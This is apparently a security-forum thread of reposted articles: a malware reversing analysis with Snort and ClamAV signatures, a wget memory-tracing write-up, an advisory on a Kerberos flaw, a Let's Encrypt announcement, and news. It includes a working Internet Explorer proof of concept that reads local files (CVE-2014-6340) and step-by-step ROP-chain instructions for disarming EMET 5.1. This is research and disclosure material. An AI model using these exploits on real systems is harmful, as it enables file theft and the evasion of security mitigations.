US Offers Rewards for Romanian Pair in Online Scam By AFP on November 18, 2014 WASHINGTON - US officials on Tuesday added suspected online fraudster Nicolae Popescu to its most-wanted list of cyber criminals and put a price on his head. A reward of as much as a million dollars is being offered for information that results in the capture or conviction of Popescu, who investigators believe may be in Europe. A bounty capped at $750,000 is also being offered for information leading to the arrest and successful criminal prosecution of Dumitru Daniel Bosogioiu, a fellow Romanian identified as a co-conspirator in the cyber fraud with Popescu. That fraud bilked millions of dollars from shoppers by posting fake listings for high-value items such as cars and boats online, according to the US Department of State. Online shoppers were directed to wire payments to bank accounts opened with bogus identification, then the money was transferred to leaders overseeing the scam from Romania, investigators said in a news release. Popescu and Bosogioiu are wanted by the Federal Bureau of Investigation on charges including conspiracy to commit wire fraud, money laundering, and passport fraud. The FBI added Popescu to its Cyber's Most Wanted list which was started in 2013 to spotlight "egregious cyber crimes committed on a global scale." Sursa: US Offers Rewards for Romanian Pair in Online Scam | SecurityWeek.Com
-
Reversing Multilayer .NET Malware Talos Group | November 18, 2014 at 9:03 am PST This post was authored by Dave McDaniel with contributions from Jaeson Schultz Recently, we came across a malware sample that has been traversing the Internet disguised as an image of a woman. The malware sample uses several layers of obfuscation to hide its payload, including the use of steganography. Steganography is the practice of concealing a message, image, or file within another message, image, or file. Steganography can be used in situations where encryption might bring unwanted attention. Encrypted traffic from an unusual source is going to draw unwanted attention. Steganography allows malicious payloads to hide in plain sight. It also allows the attacker to bypass security devices. In our sample malware, steganography is used to decrypt and execute a second dropper, which in turn installs a user-land rootkit to further hide its intentions. The rootkit adds another layer of obfuscation by installing a DarkComet backdoor, using RC4 encryption to encrypt its configuration settings and send data to its command and control server. Table of Contents General Info First Level Dropper Second Level Dropper The Back Door -- Dark Comet Decrypting the Traffic Conclusion General Info Malware sample -- ADA8229CE99B8386E89EB94ECAB678AE79C8638B3EAF3532B847CFF2B201C232 Upon execution, an image of a woman appears in the default image viewer for the user: Followed by a very interesting crash message: Which is followed by some cryptic TCP traffic (these same 22 bytes are sent over and over again). It also contains a keylogger which logs to a file: C:\Documents and Settings\UserApplication\Datadclogs<date>.dc (Keylog data) Which contains log data such as: ——————————————————————————- :: 393013_247495955389874_580132800_n.jpg -- Windows Picture and Fax Viewer (1:15:03 PM) :: Clipboard Change : size = 6 Bytes (1:15:03 PM) dclogs :: My Documents (1:15:29 PM) :: dclogs (1:15:33 PM) :: Clipboard Change : size = 47 Bytes (1:15:33 PM) C:\Documents and Settings\User\Application Data :: Program Manager (1:15:36 PM) [F2] :: 010 Editor -- C:\Documents and Settings\User\Application Datad\clogs2014-09-12-5.dc (1:15:56 PM) :: Clipboard Change : size = 27 Bytes (1:15:56 PM) ILSpy.SharpDevelop.LGPL.dll ——————————————————————————- CFF Explorer shows that this executable is written in .NET. Using a tool called ILSpy, you can decompile a .NET executable (or at least recover the obfuscated code) to Classes and namespaces. Each namespace is denoted by a {} with Classes under the namespaces. In this case, the program is heavily obfuscated and broken down like this: {} AliXiRNztXCigLKx Class Form1 Class MSTLoAuWUAMXT Class mWYMsmhuVo: Button Event OnClick() [*] Byte array cMuKPyMylNpcpWwcT [*] Function static byte[] JEKrxMYreXhFJ(byte[] ngIGsZoXRnTDjRXgM, byte[] cMuKPyMylNpcpWwcT) [*] Function static byte[] ZTfHKdaSogeSCNqp(Bitmap WikhBwotOOwRPTwNg) Here is a quick view of what Form1 looks like. Form1 is where this malware begins execution. Note the arrows point to the areas mentioned above. The First Level Dropper -- Obfuscated .NET To determine order of execution, it is helpful to copy and paste each important class/function into a single document. Saving the reader time, here is the cleaned up, de-obfuscated code to show only the important sections: The Dropper -- Order of Operations To best understand what is happening behind the scenes with the dropper, breaking it down into steps is often helpful. 1. If you examine Form1’s Load() function, there is a call to this.myButton.PerformClick(). 2. PerformClick() triggers an OnClick() event that will load a bitmap from the resource section with loadBitmap(). 3. loadBitmap() creates an array that is the size of myBitmap.Width * myBitmap.Height * 4. The reason for this is because of how bitmaps are stored (which I will get to in a few moments) Within this function, the first steps create a rectangle and then an object of type BitmapData. Then a call to Marshal.Copy copies data to the array starting at a position called Scan0): Marshal.Copy(bitmapData.Scan0, array, 0, array.Length); According to MSDN, BitmapData.Scan0 gets or sets the address of the first pixel data in the bitmap. The question now becomes, where is the first pixel of the bitmap and what determines where that pixel is? This is a great time to talk about bitmaps and how they are structured. The Bitmap Structure and Determining the First Row The dropper code references an image in the resource section called nozQEZkPzmBAIC. Since that is the only image in the resource section, it should be easy to spot. You can pull the image from the executable with ILSpy. Just look for the image name in the resource section and click “save”: Well that image looks interesting. Let’s fill the image header structure with the data from this image. 010 Editor is great for this. On the right is the bitmap structure and on the left is that structure applied to the image that was just extracted and saved. It is important to note the biBitCount of the bitmap image. 32 bits means that each pixel is defined by that many bits. MSDN says, “The value for blue is in the least significant 8 bits, followed by 8 bits each for green and red. The high byte in each DWORD is not used.” The member, biWidth is the width of the bitmap, in pixels. So in this bitmap, each row is really 462 * 4 (0x738) bytes wide since it is a 32-bit bitmap. biHeight is simply the number of pixels high (the biBitCount doesn’t matter here). So the entire bitmap size minus the header can be summed up as 462 * 462 * 4 bytes in size or 853776. Once this size is determined, the direction in which the data is read can be inferred. According to the same MSDN page: “If biHeight is positive, the bitmap is a bottom-up DIB and its origin is the lower-left corner. If biHeight is negative, the bitmap is a top-down DIB and its origin is the upper-left corner.” The height in this bitmap is positive, so it will be read from the bottom up (This is where BitmapData.Scan0 will point to). To get the last row, you can simply subtract the row size from the end of the file (unless there is padding). To get a more accurate address, just perform the following math (note that I convert biBitCount to bytes): So the offset that BitmapData.Scan0 points to in this file is 0xD000E. This is very important if you want to write a decryptor. The Dropper -- Order of Operations (Continued) 3. After loadBitmap() retrieves the pointer to the first row of bitmap data, it is copied to an array one row at a time, skipping the first 4 bytes of the first row and returning the new array. Array.Copy(array, 4, array2, 0, array2.Length); 4. After the array is returned the decodeBitmap() function is called. This function runs a simple XOR against a static, 11-byte key, starting at byte[4] of the “first” row of the bitmap. To see this in action, just take the first 11 bytes of the first row (after skipping 4 bytes) and XOR them against the key. Look familiar? That is definitely looking like a PE32 header. Taking this information, I quickly wrote a tool to decrypt this image into the dropped binary using the headers found on MSDN and the simple XOR key. The Second-Level Dropper: The Kazy Rootkit Installer Previously, we dove into decrypting and running an executable from a bitmap loaded from the resource section of a .NET executable. Opening this newly dropped executable in ILSpy, it appears to contain global configuration variables for the Kazy Rootkit. That explains the “Kazy Invoker” crash error message found earlier (not necessarily why it crashed though). There are a lot of options contained within this new executable that include process/registry hiding as well as process elevation techniques: This rootkit takes advantage of userland APIs such as this to detect Wireshark: It also uses other simple techniques like this to hide files: Not super interesting. Normally, it would appear that this kit uses the webClient class to download files contained in a list called “DownNames”. It then executes that file with ZoneId=2 (downloaded from a trusted site): But that list is empty… So where in the world is the network traffic coming from and what are those 22 bytes? Let’s take a look at what appears to be a second file that is dropped and executed. The Second Level Dropper -- Unpacking the Resources Displaying the Image to the Victim A few steps into the Main function a resource is retrieved from the resource section and executed. This is the gzipped image of a woman that popped up earlier. Saving this resource and then opening it in a 7-Zip will reveal the actual JPG. Unpacking the ‘INVOKER’ resource The next section used from the resource area is called ‘INVOKER’ and it is basically the KAZY executable. It is not compressed and is just sitting in the resource section (.NET executable). It is executed as csrss.exe with arguments specified in the dropper: Unpacking The ‘MAIN’ Resource This is followed by another function that retrieves, decompresses and executes the ‘MAIN’ in the resource section, decompresses it (if compressed), and then executes it. Knowing that this segment is compressed,( private static bool Compressed = true; ), and that it will inject the executable into itself ( private static string InjectLoc = “itself”; ); The Decompress() method (above) shows that this segment is likely just a gzip compressed segment of data. So just pull that out of the resource section. For some reason, ILSpy wasn’t allowing the extraction of this resource. You can save the ‘MAIN’ segment of the resource segment using another tool called .NET Reflector to pull this out of the resource section. The file header of this segment shows this with 0x1F8B as the file magic bytes: This is the GZIP file magic. 7Zip can open this with no problem: It appears UPX Packed based on the sections, unpacking upx is a snap: And we now have the unpacked executable from the resource section! It appears to be written with Delphi: Time to examine some strings. There are a lot of seemingly backdoor-related functions (including keylogging info for the file I mentioned at the beginning of this post) to be found in this binary: Comparing the strings found with other known malicious files tells us that this is likely the backdoor known as DarkComet. The Backdoor -- DarkComet Decrypting the Configuration This RAT uses a symmetrical key for RC4 encryption to send traffic that is based off of the version of DarkComet itself. For more information about how RC4 works in malware, please check out my post here. The key is generated in the following manner: #KCMDDC<version>#-890<password> Looking for the string KCMDDC in the binary does reveal the static part of the string (the version) but not the entire password. It is clear however, that this sample is DarkComet version 5.1: As a sidenote, since this is in Delphi, you can generate an IDC script to help with identifying functions in IDA with an excellent tool called Interactive Delphi Reconstructor: Once that is done, simply break at the main entry point and continue until a new thread is created. Break at the entry point of that thread: A new thread is created that performs the keylogging functionality. This function is setting the hook procedure with the WH_KEYBOARD_LL constant signifying a hook procedure that monitors keystroke messages: But that still doesn’t answer what the network traffic is. Setting breakpoints around the string “KCMDDC51” found earlier and watching for accesses to that data seems like a good place to start. Eventually, a routine is encountered that appeared to be the initialization of an SBox of size 0x100 (256) which implied that RC4 was used in this function. The SBox is scrambled and stored on the stack. The password “#KCMDDC51#890” is used to decrypt the stored settings which include the password that the sent data is encoded with. Here is the dump of the encrypted data: You can decrypt the data decrypted within the RC4 function just by using the key found earlier. The following is example output from an RC4 Decryptor written in Python: These are all of the DarkComet settings! Decrypting the Traffic So at this point, we have all the settings used for DarkComet to including what key the network traffic is encoded with (see:”PWD = gotogoa” above). Knowing from previous research on DarkComet that the traffic is encrypted as follows: #KCMDDC<version>#-890<password> which becomes #KCMDDC51#-890gotogoa We now have enough information to decrypt the 22 bytes I provided at the very beginning of this post: Just decrypt the 22 bytes using the key we found earlier: It turns out that this message was a #KEEPALIVE# signal this whole time. This is great for detection purposes because typical KEEPALIVE messages like these are submitted periodically to the C&C server. Catching this constant traffic is the best way to determine the infection because of how often the signal is repeated. Armed with this knowledge, we created coverage for Snort, CLAMAV and FireAMP: Snort Detection # This rule can be customized to cover all ports but without a content match, it will certainly be slow. alert tcp $HOME_NET any -> $EXTERNAL_NET 1604 ( \ msg:”MALWARE-CNC Win.Trojan.Darkcomet outbound keepalive signal sent”; \ flow:to_server,established; \ dsize:22; \ pcre:”/^[0-9A-Z]{22}$/”; \ detection_filter:track by_src, count 5, seconds 120; \ metadata:impact_flag red, policy security-ips drop; \ reference:url,www.virustotal.com/en/file/ada8229ce99b8386e89eb94ecab678ae79c8638b3eaf3532b847cff2b201c232/analysis/; \ classtype:trojan-activity; \ sid:31814; rev:1; \ ) ClamAV Detection Win.Trojan.Kazydropper:1:*:2809000006{5}6f1d00000a7409000001{21}281e00000a6f1f00000a Win.Trojan.Kazyinvoker:1:*:4b0061007a00790049006e0076006f006b0065007200 FireAMP Detection Name: W32.Auto.ada822.MASH.RT.SBX.VIOC Conclusion In researching this malware we noted several layers and techniques to hide its payload, including steganography to decrypt/execute a second dropper (a malicious binary who’s purpose is to download/install additional malicious programs), a userland rootkit, a DarkComet backdoor with RC4 encryption, and Dynamic DNS for C&C traffic. Attackers will continue to employ these kinds of obfuscation techniques in an attempt to avoid detection as well as making it more difficult to reverse engineer. Network administrators will need to remain vigilant with timely signature updates to their security devices to ensure coverage and protection against these more research intensive techniques. Sursa: Reversing Multilayer .NET Malware
-
[h=3]Following memory history with REVEN-Axion[/h] When working on traces of millions of instructions, one of the biggest challenges can be to detect the small portions of the code that are actually interesting. In this article, we have an application that reads from the network. We will show how to quickly find where the network frames are used, and if it is possible to cause a buffer overflow by writing more data than is allocated. As an example, we'll be analyzing the following command: wget -O /dev/shm/result.html http://192.168.56.1/index.html We've set the output to shared memory so that the scenario can be smaller and have less unrelated kernel events. [h=2]Search: hardware devices[/h] Since our point of interest is the network traces, we start by searching the device accesses of the network card. We're looking for PCI writes here, since the network card writes to the physical RAM. One interesting PCI write we can find is the one that find its way into the hard drive: the response of the web server. This following image shows the overview of the device accesses during the executed scenario. Here, we're interested in the last PCI write, so let's select it in the combo box. We can see that at sequence 142546, there is a PCI write to physical address 0x639f040. In 32 bits Linux, this is mapped in kernel space at the linear address 0xc639f040. [h=2]Memory dump[/h] Let's request to see the contents of the memory right after the PCI write. Here, we find what looks like a normal Ethernet dump of an HTTP request. Let's dump into a file using the integrated Python console: Let's open it in Wireshark after converting it to a proper format using the hd command: This confirms that we've found a complete Ethernet frame, and that we can browse it using other tools. With some scripting, we could even rebuild the entire communication between the two hosts, as if we had listened to the interfaces the whole time. [h=2]Memory history[/h] Now, let's look for a potential buffer overflow. We have a PCI buffer that is written, we need to find where it is read from. To display where and when an address is used, just check "Show access history": I've selected the H of HTTP so that we may find the user code parsing the HTTP header. We can also see the kernel code parsing the Ethernet headers if we monitor other parts of this frame. The first write corresponds to the PCI write. That's why there is no logical address for the write: it was not done using logical addressing, but it was caused by a PCI access directly into the RAM. We can see that the PCI bus writes 560 bytes in one batch (which is why I've exported a file with 560 bytes earlier). There are three other reads here. The first one leads to a read inside an IRQ (this is IRQ 10, which is mapped at vector #3a) If we double-click the first one, we get this stack trace: Actually, in this case, the IRQ handler is just comparing the checksum of the received data with the checksum received in the TCP header. It is not particularly interesting here, unless we're looking for kernel bugs. Let's take a look at the next read from this kernel buffer: In the backtrace widget, we can see that userspace called the recv syscall. By clicking the parent sequence at 143290, we could find the parent trace. But before doing this, we should locate where the buffer is written. By looking at the assembly code for the function __copy_user_intel, it is quite clear that the source is in ESI and the destination in EDI, the counter in ECX in bytes, just like a REP MOVSB. Since we want to know where the memory is written to, let's follow the memory pointed by EDI, at 0x80aaf72 in our example. [h=2]Previous / next[/h] By double-clicking DWORD PTR [EDI] on the 5th instruction, we can quickly see the content of this memory and access its history if wanted, just like before. There is a even quicker way, though. By selecting the memory using F7 (first operand), we can navigate to its next read or next write. For example, let's say that we want to check for a possible overflow in the recv function. We'll have three things to check : - where does the length given to recv comes from, - where is the destination buffer allocated, and what is its size, - if both sizes are unrelated, is it possible to have an overflow and on which conditions. To find out where the length of recv comes from, the easiest way is to go through the backtrace to the recv call and to use the argument displaying feature of the backtrace: We can see that the parameters are: - socket: 0x4 - buf: 0x80aaf70 - len: 0x1ff - flags: 2 (MSG_PEEK) Note: since the flags are MSG_PEEK, we can expect another read to return the same data later (remember at the previous step, there was one more read from the PCI buffer). Once we know that the size if 0x1ff, the next objective is to know how it is calculated. The value was given by EDI, so let's see where it came from. We just have to press F8 (second operand) to select EDI. Then a click on previous (shortcut: Shift-N) leads me do its previous write. In this case, previous write is a pop. We can either use the "percent" plugin (see the associated blog post), or just go to the function start (assuming that nobody modifies the stack). Either way, we find the corresponding push, which is a push edi. Clicking once more on the previous write to EDI leads us to this memory read, that we can browse again with F8: We can request the previous write of the stack memory, and so on. After going up several times (using only F7/F8 and Shift-n), we finally reach the origin of the size: So the received size is static. It is always 200, and the only calculation done here is a -1, probably to be sure to keep a null terminating byte. The exact same steps can be taken with the buffer value, backtracking the pointer origin. We find that the pointer is allocated inside the same function that called recv, with the same size (obviously without the -1, this time). In this case, we can see clearly that an overflow is not possible, even if we could control the server side. [h=3]Second read[/h] Earlier, we noticed that the buffer was read one more time. Let's focus on this other read now. We know this read occurs at 145455. This is another copy_from_user call. The interesting part is that the backtrace now shows a read call: The arguments of the read are: - fd: 4 - buffer: 0x80aaf70 - length: 0x139 It is interesting that the length is not the same as before (0x200). We might be interested on how that particular size is computed. In particular, is it possible to make this size bigger that 0x200 ? After doing the same process again to the origin the length we can find that it is computed by substracting a pointer (let's call that pointer buf_end) returned by a function with the buffer start address. The interesting part of the buffer computation function is before the return value: The loop (red section) searches for a 0xa (newline character). It increases as long as eax doesn't go path edx. Once we find the string 0xa 0xd 0xa (\n\r\n), we return the pointer right after the 3 newlines (green section). Since we ensure that eax < edx, we can at most read up to edx + 2. In the "end of buffer" case (blue rectangle), if we're not at a newline, we return NULL. In the other case, we return the pointer to the right after the last newline character (with some code in case there are two newline characters). We cannot get past edx + 2 either. Here the interesting part is the central role of edx, which is probably near the end of buffer.Once again with the previous write feature, we can see that edx si computed as follows: edx = buf_start + size - 2 That explains why we could read up to edx + 2. Here, size is 0x1ea. It is bigger than 0x139, but why isn't it 0x1ff ? Let's go backwards a bit more. I'm going to spare you the details because I used the same process as before: 0x1ea is actually the return code from the recv function. This means that wget first uses recv with MSG_PEEK with 0x1ff as buffer size. Once it has its result, it re-reads the same data, but with only the length returned by recv (which is always less than the input size). This means that in the second read too, there are probably no obvious overflows to discover. By the way, the function we analyzed here merely looks for two newlines to detect the end of the headers in an HTTP request. [h=2]Conclusion[/h] Throughout this article, we analyzed a small part of the reception of wget. We saw how to quickly find the way data coming from the network is used. We can easily find where this data is read or erased, where the reception buffer is allocated and so on. This is a major tool within REVEN-Axion : the ability to view the memory history in both directions, up to the physical layer. PS: you'll find a global description of the REVEN technology here. Posted by Guillame Clément Sursa: Life at Tetrane: Following memory history with REVEN-Axion
-
[h=2]Launching in 2015: A Certificate Authority to Encrypt the Entire Web[/h]November 18, 2014 | By Peter Eckersley Today EFF is pleased to announce Let’s Encrypt, a new certificate authority (CA) initiative that we have put together with Mozilla, Cisco, Akamai, IdenTrust, and researchers at the University of Michigan that aims to clear the remaining roadblocks to transition the Web from HTTP to HTTPS. Although the HTTP protocol has been hugely successful, it is inherently insecure. Whenever you use an HTTP website, you are always vulnerable to problems, including account hijacking and identity theft; surveillance and tracking by governments, companies, and both in concert; injection of malicious scripts into pages; and censorship that targets specific keywords or specific pages on sites. The HTTPS protocol, though it is not yet flawless, is a vast improvement on all of these fronts, and we need to move to a future where every website is HTTPS by default.With a launch scheduled for summer 2015, the Let’s Encrypt CA will automatically issue and manage free certificates for any website that needs them. Switching a webserver from HTTP to HTTPS with this CA will be as easy as issuing one command, or clicking one button. The biggest obstacle to HTTPS deployment has been the complexity, bureaucracy, and cost of the certificates that HTTPS requires. We’re all familiar with the warnings and error messages produced by misconfigured certificates. These warnings are a hint that HTTPS (and other uses of TLS/SSL) is dependent on a horrifyingly complex and often structurally dysfunctional bureaucracy for authentication. Let's Encrypt will eliminate most kinds of erroneous certificate warnings The need to obtain, install, and manage certificates from that bureaucracy is the largest reason that sites keep using HTTP instead of HTTPS. In our tests, it typically takes a web developer 1-3 hours to enable encryption for the first time. The Let’s Encrypt project is aiming to fix that by reducing setup time to 20-30 seconds. You can help test and hack on the developer preview of our Let's Encrypt agent software or watch a video of it in action here: Let’s Encrypt will employ a number of new technologies to manage secure automated verification of domains and issuance of certificates. We will use a protocol we’re developing called ACME between web servers and the CA, which includes support for new and stronger forms of domain validation. We will also employ Internet-wide datasets of certificates, such as EFF’s own Decentralized SSL Observatory, the University of Michigan’s scans.io, and Google's Certificate Transparency logs, to make higher-security decisions about when a certificate is safe to issue. The Let’s Encrypt CA will be operated by a new non-profit organization called the Internet Security Research Group (ISRG). EFF helped to put together this initiative with Mozilla and the University of Michigan, and it has been joined for launch by partners including Cisco, Akamai, and Identrust. The core team working on the Let's Encrypt CA and agent software includes James Kasten, Seth Schoen, and Peter Eckersley at EFF; Josh Aas, Richard Barnes, Kevin Dick and Eric Rescorla at Mozilla; Alex Halderman and James Kasten and the University of Michigan. Sursa: https://www.eff.org/deeplinks/2014/11/certificate-authority-encrypt-entire-web
-
When's document.URL not document.URL? (CVE-2014-6340) I don't tend to go after cross-origin bugs in web browsers, after all XSS* is typically far easier to find (*disclaimer* I don't go after XSS either), but sometimes they're fun. Internet Explorer is a special case, most web browsers don't make much of a distinction between origins for security purpose but IE does. Its zone mechanisms can make cross-origin bugs interesting, especially when it interacts with ActiveX plugins. The origin *ahem* of CVE-2014-6340 came from some research into a site-locking ActiveX plugin. I decided to see if I could find a generic way of bypassing the site-lock and found a bug in IE which has existed since at least IE6. Let's start with how an ActiveX control will typically site-lock, as in only allow the control to be interacted with if hosted on a page from a particular domain. When an ActiveX control is instantiated it's passed a "Site" object which represents the container of the ActiveX control. This might be through implementing IObjectWithSite::SetSite or IOleObject::SetClientSite. When passed the site object the well know way of getting the hosting page's URL is to call IHTMLDocument2::get_URL method with code similar to the following: IOleClientSite* pOleClientSite; IOleContainer* pContainer; pOleClientSite->GetContainer(&pContainer); IHTMLDocument2* pHtmlDoc; pContainer->QueryInterface(IID_PPV_ARGS(&pHtmlDoc)); BSTR bstrURL; pHtmlDoc->get_URL(&bstrURL); // We now have the hosting URL. Anything which is based on the published Microsoft site-locking template code does something similar. So we can conclude that for a site-locking ActiveX control the document.URL property is important. Even though this is a DOM property it's at the native code level so you can't use Javascript to override it. So I guess we need to dig into MSHTML to find out where the URL value comes from. Bringing up the function in IDA led me to the following: One of the first things IHTMLDocument2::get_URL calls is CMarkup::GetMarkupPrintUri. But what's most interesting was if this returned successfully it exited the function with a successful return code. Of course if you look at the code flow it only enters that block of code if the markup document object returned from CDocument::Markup has bit 1 set at byte offset 0x31. So where does that get set? Well annoyingly 0x31 is hardly a rare number so doing an immediate search in IDA was a pain, still eventually I found where you could set it, it was in the IHTMLDocument4::put_media function: Still clearly that function must be documented? Nope, not a bit of it: Well I could go on but I'll cut the story short for sanity's sake. What the media property does is set whether the document's currently a HTML document or a Print template. It turns out this is an old property which probably should never be used, but is one of those things which's kept around for legacy purposes. As long as you convert the current document to a print template using the OLECMDID_SETPRINTTEMPLATE command to ExecWB on the web browser this code path will execute. The final step is working out how you influence the URL property. After a bit of digging you'll find the following code in CMarkup::FindMarkupPrintUri. Hmm well it seems to be reading the attribute __IE_DisplayURL from the top element of the document and retuning that as the URL. Okay let's try that, using something like XMLHttpRequest to see if we can read local files. For example: <html __IE_DisplayURL="file:///c:/"> <body> <h1> PoC for IE_DisplayURL Issue</h1> <object border="1" classid="clsid:8856f961-340a-11d0-a96b-00c04fd705a2" id="obj">NO OBJECT</object> <script> try { // Set document to a print template var wb = document.getElementById("obj").object; wb.ExecWB(51, 0, true); // Enable print media mode document.media = "print"; // Read a local file var x = new ActiveXObject("msxml2.xmlhttp"); x.open("GET", "file:///c:/windows/win.ini", false); x.send(); alert(x.responseText); // Disable again to get scripting back (not really necessary) document.media = "screen"; } catch(e) { alert(e.message); } </script> </body> </html> This example only work when running in the Intranet Zone because it requires the ability to script the web browser. Can it be done from Internet Zone? Probably ;-) In the end Microsoft classed this as an Information Disclosure, but is it? Well probably in a default installation of Windows. But mix in third-party ActiveX controls you have yourself the potential for RCE. Perhaps sit back with a cup of *Coffee* and think about what ActiveX controls might be interesting to play with ;-) Posted by tiraniddo at 15:02 Sursa: Tyranid's Lair: When's document.URL not document.URL? (CVE-2014-6340)
-
Additional information about CVE-2014-6324 swiat 18 Nov 2014 10:17 AM Today Microsoft released update MS14-068 to address CVE-2014-6324, a Windows Kerberos implementation elevation of privilege vulnerability that is being exploited in-the-wild in limited, targeted attacks. The goal of this blog post is to provide additional information about the vulnerability, update priority, and detection guidance for defenders. Microsoft recommends customers apply this update to their domain controllers as quickly as possible. Vulnerability Details CVE-2014-6324 allows remote elevation of privilege in domains running Windows domain controllers. An attacker with the credentials of any domain user can elevate their privileges to that of any other account on the domain (including domain administrator accounts). The exploit found in-the-wild targeted a vulnerable code path in domain controllers running on Windows Server 2008R2 and below. Microsoft has determined that domain controllers running 2012 and above are vulnerable to a related attack, but it would be significantly more difficult to exploit. Non-domain controllers running all versions of Windows are receiving a “defense in depth” update but are not vulnerable to this issue. Before talking about the specific vulnerability, it will be useful to have a basic understanding of how Kerberos works. One point not illustrated in the diagram above is that both the TGT and Service Ticket contain a blob of data called the PAC (Privilege Attribute Certificate). A PAC contains (among other things): The user’s domain SID The security groups the user is a member of When a user first requests a TGT from the KDC, the KDC puts a PAC (containing the user’s security information) into the TGT. The KDC signs the PAC so it cannot be tampered with. When the user requests a Service Ticket, they use their TGT to authenticate to the KDC. The KDC validates the signature of the PAC contained in the TGT and copies the PAC into the Service Ticket being created. When the user authenticates to a service, the service validates the signature of the PAC and uses the data in the PAC to create a logon token for the user. As an example, if the PAC has a valid signature and indicates that “Sue” is a member of the “Domain Admins” security group, the logon token created for “Sue” will be a member of the “Domain Admins” group. CVE-2014-6324 fixes an issue in the way Windows Kerberos validates the PAC in Kerberos tickets. Prior to the update it was possible for an attacker to forge a PAC that the Kerberos KDC would incorrectly validate. This allows an attacker to remotely elevate their privilege against remote servers from an unprivileged authenticated user to a domain administrator. Update Priority Domain controllers running Windows Server 2008R2 and below Domain controllers running Windows Server 2012 and higher All other systems running any version of Windows Detection Guidance Companies currently collecting event logs from their domain controllers may be able to detect signs of exploitation pre-update. Please note that this logging will only catch known exploits; there are known methods to write exploits that will bypass this logging. The key piece of information to note in this log entry is that the “Security ID” and “Account Name” fields do not match even though they should. In the screenshot above, the user account “nonadmin” used this exploit to elevate privileges to “TESTLAB\Administrator”. After installing the update, for Windows 2008R2 and above, the 4769 Kerberos Service Ticket Operation event log can be used to detect attackers attempting to exploit this vulnerability. This is a high volume event, so it is advisable to only log failures (this will significantly reduce the number of events generated). After installing the update, exploitation attempts will result in the “Failure Code” of “0xf” being logged. Note that this error code can also be logged in other extremely rare circumstances. So, while there is a chance that this event log could be generated in non-malicious scenarios, there is a high probability that an exploitation attempt is the cause of the event. Remediation The only way a domain compromise can be remediated with a high level of certainty is a complete rebuild of the domain. An attacker with administrative privilege on a domain controller can make a nearly unbounded number of changes to the system that can allow the attacker to persist their access long after the update has been installed. Therefore it is critical to install the update immediately. Additional Notes Azure Active Directory does not expose Kerberos over any external interface and is therefore not affected by this vulnerability. Joe Bialek, MSRC Engineering Sursa: Additional information about CVE-2014-6324 - Security Research & Defense - Site Home - TechNet Blogs
-
Imi pare rau, nu aveau marimea XXXXXXL.
-
Disarming and Bypassing EMET 5.1 EMET 5.1 released Last week Microsoft released EMET 5.1 to address some compatibility issues and strengthen mitigations to make them more resilient to attacks and bypasses. We, of course, were curious to see if our EMET 5.0 disarming technique has been addressed by the latest version of the toolkit. After a quick analysis of the EMET.dll function that verifies which protection needs to be applied whenever a critical function is called, it is clear that now the global variable (EMET+0xF2A30 in EMET 5.1) we used in our previous techniques to disarm EMET 4.X and 5.0 is better protected. Mitigations Switch Hardening As previously seen, this global variable stores a pointer to a structure (we called it CONFIG_STRUCT in our previous posts) that among other information, includes a flag acting as a general switch for most of the EMET mitigations at CONFIG_STRUCT+0x558. EMET 5.0 hardened this pointer by encoding it with the Windows API EncodePointer. In EMET 5.1 a pointer to CONFIG_STRUCT is stored in another variable that we called EMETd, as can be seen in the next figure. It is the EMETd address that is now stored in the global variable at EMET+0xF2A30. EMETd is a 12 byte structure defined as follows: struct EMETd { DWORD size; LPVOID lpCONFIG_STRUCT; DWORD writable; } Both CONFIG_STRUCT and EMETd are initialised in a function at EMET+0x254D5 (refer to previous figure). EMET 5.1 adds an “extra safety layer” by using the result of a CPUID instruction to xor-encode the EMETd pointer, after encoding it with EncodePointer. CPUID is called passing 0x1 as an argument (EAX=0x1), which means the toolkit uses “Processor Info and Feature Bits” to perform the xor encoding. The instruction returns the CPU’s signature in EAX, feature flags in EDX and ECX and additional feature info in EBX. Another important change is the fact that the data structure is now located on a read-only memory page, which of course increases the difficulty in switching off EMET mitigations by overwriting the general switch flag. Adapting the Disarming Approach Rather than trying to build a ROP chain to recreate the xor-decoding logic, we tried to look for an easier option. More specifically we looked at borrowing a code chunk in an EMET.dll function that would do the work for us. The code starting at basic block EMET+0x67372 is a good candidate, as it decodes the EMETd pointer and returns the CONFIG_STRUCT address in the EDX register. As shown in the previous figure, to successfully return from the above code, we need to control both EBP and ESI registers. The next step is to take care of the memory page protection. In our last post we showed how CONFIG_STRUCT can be leveraged to obtain a list of unhooked Windows APIs, and we stressed the fact that this could lead to further points of failure. In our case, we can for example, access ntdll!NtProtectVirtualMemory at CONFIG_STRUCT+0x1b8 (the offset didn’t change from EMET 5.0 to 5.1) and change the CONFIG_STRUCT memory page protections before zeroing out the global mitigations switch at CONFIG_STRUCT+0x558. Of course once the unhooked ntdll!NtProtectVirtualMemory is available to us, other options are possible – like for example directly patching EMET shims in order to bypass the checks. EAF and EAF+ were once again bypassed by calling the unhooked version of ntdll!NtSetContextThread located at POINTER(CONFIG_STRUCT+0x518) as we did for EMET 5.0. Wrapping Up To summarise the technique, a successful disarming ROP chain will need to perform the following steps: Gather the EMET.dll base address. Get the “decoding helper” code at address EMET+0x67372. Return into EMET+0x67372 and obtain the CONFIG_STRUCT address in the EDX register. Call ntdll!NtProtectVirtualMemory to make the CONFIG_STRUCT memory page writable. Zero out the global protections switch at POINTER(CONFIG_STRUCT+0x558). We have used this technique and implemented a proof of concept bypass using the Internet Explorer 8 Fixed Col Span ID exploit we’ve used to bypass EMET 4.x and 5.0. The full EMET 5.1 disarming exploit code can be downloaded from the Exploit-DB. The technique was tested against 32-bit systems and results were compared across different operating systems (Windows 7 SP1, Windows 2008 SP1, Windows 8, Windows 8.1). A video of this exploit in action can be seen below: Conclusion We started looking at EMET since version 4.0 and it’s come a long way since. There’s no doubt that Microsoft are stepping up their efforts at making EMET ever more effective. This sort of layered defense goes a long way in disrupting commodity attacks and increasing the level of effort required for successful exploitation. Sursa: Disarming and Bypassing EMET 5.1
-
Samsung Galaxy KNOX Android Browser Remote Code Execution
Nytro replied to akkiliON's topic in Exploituri
De aici: Abusing Samsung KNOX to remotely install a malicious application: story of a half patched vulnerability -
Klaus Iohannis este noul presedinte al Romaniei!
Nytro replied to Byte-ul's topic in Discutii non-IT
Ok, consider ca s-a discutat destul acest subiect. Topic inchis. -
